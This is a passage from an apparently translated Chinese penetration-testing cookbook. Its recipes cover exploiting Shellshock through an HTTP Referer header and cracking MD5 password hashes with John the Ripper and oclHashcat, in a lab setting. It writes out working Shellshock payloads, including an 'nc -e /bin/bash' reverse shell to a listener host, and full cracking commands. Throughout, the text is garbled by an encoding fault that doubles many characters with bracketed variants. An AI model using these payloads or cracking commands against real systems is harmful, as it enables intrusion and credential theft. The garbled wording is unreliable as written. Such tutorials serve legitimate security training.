替換為:() { :;}; echo "Vulnerable:"
-
再次點(diǎn)擊
Forward
,在.ttf
文件的請(qǐng)求中,我們應(yīng)該能得到shellshcok.sh
的響應(yīng),像這樣:現(xiàn)在響應(yīng)多了一個(gè)協(xié)議頭參數(shù),叫做
Vulnerable
。這是因?yàn)樗鼘?code>echo命令的輸出集成到 HTTP 協(xié)議頭中,所以我們可以進(jìn)一步利用它。 -
現(xiàn)在使用下列命令重復(fù)這個(gè)過(guò)程:
() { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")
-
能夠在遠(yuǎn)程服務(wù)器上執(zhí)行命令,對(duì)于滲透測(cè)試來(lái)說(shuō)是個(gè)巨大的優(yōu)勢(shì),下一步自然是獲得遠(yuǎn)程 shell。在 Kali 中打開(kāi)終端,監(jiān)聽(tīng)網(wǎng)絡(luò)端口,像這樣:
nc -vlp 12345
-
現(xiàn)在訪(fǎng)問(wèn) BurpSuite 的代理歷史,選擇任何
shellshock.sh
的請(qǐng)求,右擊它并發(fā)送到 Repeater,像這樣: -
在 Repeater 中,修改 Referer 的值為:
() { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345")
這里,192.168.56.1 是我們 Kali 主機(jī)的地址。
點(diǎn)擊
Go
。-
如果我們檢查我們的終端,我們可以看到連接已建立,執(zhí)行一些命令來(lái)檢查我們是否得到了遠(yuǎn)程 shell。
工作原理
在第一步中,我們發(fā)現(xiàn)了 shell 腳本的調(diào)用。因?yàn)樗梢员?shell 解釋器運(yùn)行,它可能是漏洞版本的 bash。為了驗(yàn)證,我們執(zhí)行了下列測(cè)試:
() { :;}; echo "Vulnerable:"
第一個(gè)部分() { :;};
是個(gè)空函數(shù),因?yàn)?bash 可以將函數(shù)儲(chǔ)存為環(huán)境變量,這個(gè)是漏洞的核心。在函數(shù)結(jié)束之后,解析器會(huì)繼續(xù)解釋?zhuān)ú?zhí)行)命令,這允許我們執(zhí)行第二個(gè)部分echo "Vulnerable:
,這是簡(jiǎn)單返回輸入的命令。
Web 服務(wù)器中存在漏洞,因?yàn)?CGI 事先將請(qǐng)求的所有部分映射為環(huán)境變量,所以這個(gè)攻擊通過(guò)User-Agent
或者Accept-Language
也能工作。
一旦我們知道了服務(wù)器存在漏洞,我們鍵入測(cè)試命令ifconfig
并建立反向 shell`。
反向 shell 是一種遠(yuǎn)程 shell,它的特點(diǎn)是由受害者主機(jī)初始化,攻擊者監(jiān)聽(tīng)連接,而不是服務(wù)器在綁定連接中等待客戶(hù)端的連接。
7.8 使用 John the Ripper 和字典來(lái)破解密碼哈希
在上一個(gè)秘籍,以及第六章中,我們從數(shù)據(jù)庫(kù)中提取了密碼哈希。在執(zhí)行滲透測(cè)試的時(shí)候,有時(shí)候這是唯一的用于發(fā)現(xiàn)密碼的方式。為了發(fā)現(xiàn)真實(shí)的密碼,我們需要破譯它們。由于哈希由不可逆的函數(shù)生成,我們沒(méi)有辦法直接解密密碼。所以使用慢速的方法,例如暴力破解和字典攻擊就很有必要。
這個(gè)秘籍中,我們會(huì)使用 John the Ripper(JTR 或 John),最流行的密碼破解器,從第六章“逐步執(zhí)行基本的 SQL注入”秘籍中提取的哈希中恢復(fù)密碼。
操作步驟
-
雖然 JTR 對(duì)接受的輸入非常靈活,為了防止錯(cuò)誤解釋?zhuān)覀兪紫刃枰蕴囟ǜ袷皆O(shè)置用戶(hù)名和密碼哈希。創(chuàng)建叫做
hashes_6_7.txt
的文本文件,每行包含一個(gè)名稱(chēng)和一個(gè)哈希,以冒號(hào)分隔(username:hash
),像這樣: -
一旦我們擁有了這個(gè)文件,我們可以打開(kāi)終端并執(zhí)行下列命令:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt
我們使用 Kali 預(yù)置的單詞列表之一。我們可以看到單詞列表中六個(gè)密碼發(fā)現(xiàn)了五個(gè),我們也能發(fā)現(xiàn),John 每秒能比較 10,336,000 次(10,336 KC/s)。
-
John 也有選項(xiàng)來(lái)應(yīng)用修改器規(guī)則 -- 添加前后綴,修改大小寫(xiě),以及在每個(gè)密碼上使用 leetspeak。讓我們?cè)谌匀晃雌平獾拿艽a上嘗試它們:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules
我們可以看到這個(gè)規(guī)則生效了,我們得到了最后一個(gè)密碼。
工作原理
John(以及任何離線(xiàn)密碼破解器)的工作方式是計(jì)算列表(或所生成的)單詞的哈希,并將它們與需要被破解的哈希對(duì)比,當(dāng)存在匹配時(shí),它就假設(shè)密碼找到了。
第一個(gè)命令使用--wordlist
選項(xiàng)告訴 John 要使用什么單詞。如果忽略了它,它會(huì)生成自己的列表來(lái)執(zhí)行爆破攻擊。--format
選項(xiàng)告訴我們要使用什么算法來(lái)生成哈希,如果這個(gè)選項(xiàng)被忽略,John 會(huì)猜測(cè)它,通常帶有不錯(cuò)的結(jié)果。最后,我們將包含想要破解的哈希的文件傳入。
- 我們可以通過(guò)使用
--rules
選項(xiàng)來(lái)增加找到密碼的機(jī)會(huì),因?yàn)樵趪L試創(chuàng)建更強(qiáng)的密碼來(lái)破解的時(shí)候,它會(huì)使用人們對(duì)單詞所做的常用修改。例如,對(duì)于password
,John也會(huì)嘗試下面的東西:
Password
PASSWORD
password123
Pa$$w0rd
7.9 使用 oclHashcat/cudaHashcat 爆破密碼哈希
最近,顯卡的發(fā)展取得了巨大突破,這種芯片中含有成百上千個(gè)處理器,它們都并行工作。這里,當(dāng)應(yīng)用在密碼破解上是,這意味著,如果單個(gè)處理每秒可以計(jì)算一萬(wàn)個(gè)哈希,一個(gè)帶有上千內(nèi)核的 GPU 就能夠計(jì)算一千萬(wàn)個(gè)。這可以將破解時(shí)間降至一千分之一。
現(xiàn)在我們使用 Hashcat 的 GPU 版本來(lái)爆破密碼。如果你在 N 卡的電腦上安裝的 Kali,你需要 cudeHashcat。如果它安裝在 A 卡的電腦上,則需要 oclHashcat。如果你在虛擬機(jī)上安裝 kali,GPU 破解可能不工作,但是你始終可以在你的主機(jī)上安裝它,Windows 和 Linux 上都有它的版本。
這個(gè)秘籍中,我們會(huì)使用 oclHashcat,它和 cudaHashcat 的命令沒(méi)有區(qū)別,雖然 A 卡對(duì)于密碼破解更加高效。
準(zhǔn)備
我們需要確保你正確安裝了顯卡驅(qū)動(dòng),oclHashcat 也兼容它們,所以你需要做這些事情:
-
單獨(dú)運(yùn)行 oclHashcat,如果出現(xiàn)問(wèn)題它會(huì)告訴你。
oclhashcat
-
測(cè)試它在跑分模式中支持的每種算法的哈希率。
oclhashcat --benchmark
-
取決于你的安裝,oclHahcat 可能需要在你的特定顯卡上強(qiáng)行工作:
oclhashcat --benchmark --force
我們會(huì)使用上一個(gè)秘籍的相同哈希文件。
Kali 默認(rèn)安裝的 oclHashcat 上有一些問(wèn)題,所以如果你在運(yùn)行 oclHashcat 的時(shí)候出現(xiàn)了問(wèn)題,你始終可以從官網(wǎng)上下載最新版本,并從你解壓的地方直接運(yùn)行(http://hashcat.net/ oclhashcat/
)。
操作步驟
-
我們首先破解單個(gè)哈希,讓我們?cè)囋?code>admin的哈希:
oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3
你可以看到,我們能夠直接從命令行中設(shè)置哈希,它會(huì)在一秒之內(nèi)破解出來(lái)。
-
現(xiàn)在,為了破解整個(gè)文件,我們需要去掉用戶(hù)名,只保留哈希,像這樣:
我們創(chuàng)建了只包含哈希的新文件。
-
為了破解文件中的哈希,我們只需要在上一條命令中將哈希替換為文件名稱(chēng)。
oclhashcat -m 0 -a 3 hashes_only_6_7.txt
你可以看到,它在三分鐘之內(nèi)涵蓋了一到七個(gè)字符的所有組合(每秒破解 6.885 億個(gè)哈希)。并且它需要花費(fèi)多于兩個(gè)小時(shí)來(lái)測(cè)試八個(gè)字符的所有組合。這對(duì)于爆破來(lái)說(shuō)十分有效。
工作原理
在這個(gè)秘籍中,我們用于執(zhí)行oclHahcat
的參數(shù)定義了要使用的哈希算法:-m 0
告訴程序使用 MD5 來(lái)計(jì)算所生成單詞的哈希,以及攻擊類(lèi)型,-a 3
的意思是我們打算使用純爆破攻擊,并嘗試所有可能的字符組合,直到發(fā)現(xiàn)了密碼。最后,我們?cè)诘谝环N情況中添加了我們打算破解的哈希,第二種情況中我們添加了包含哈希集合的文件。
oclHahcat 也可以使用字典文件來(lái)執(zhí)行混合攻擊(爆破加上字典)來(lái)定義要測(cè)試哪個(gè)字符集,并將結(jié)果保存到指定文件中(/usr/share/oclhashcat/oclHashcat.pot
)。他也可以對(duì)單詞應(yīng)用規(guī)則,并使用統(tǒng)計(jì)模型(馬爾科夫鏈)來(lái)增加破解效率。使用--help
命令來(lái)查看所有選項(xiàng),像這樣:
oclhashcat --help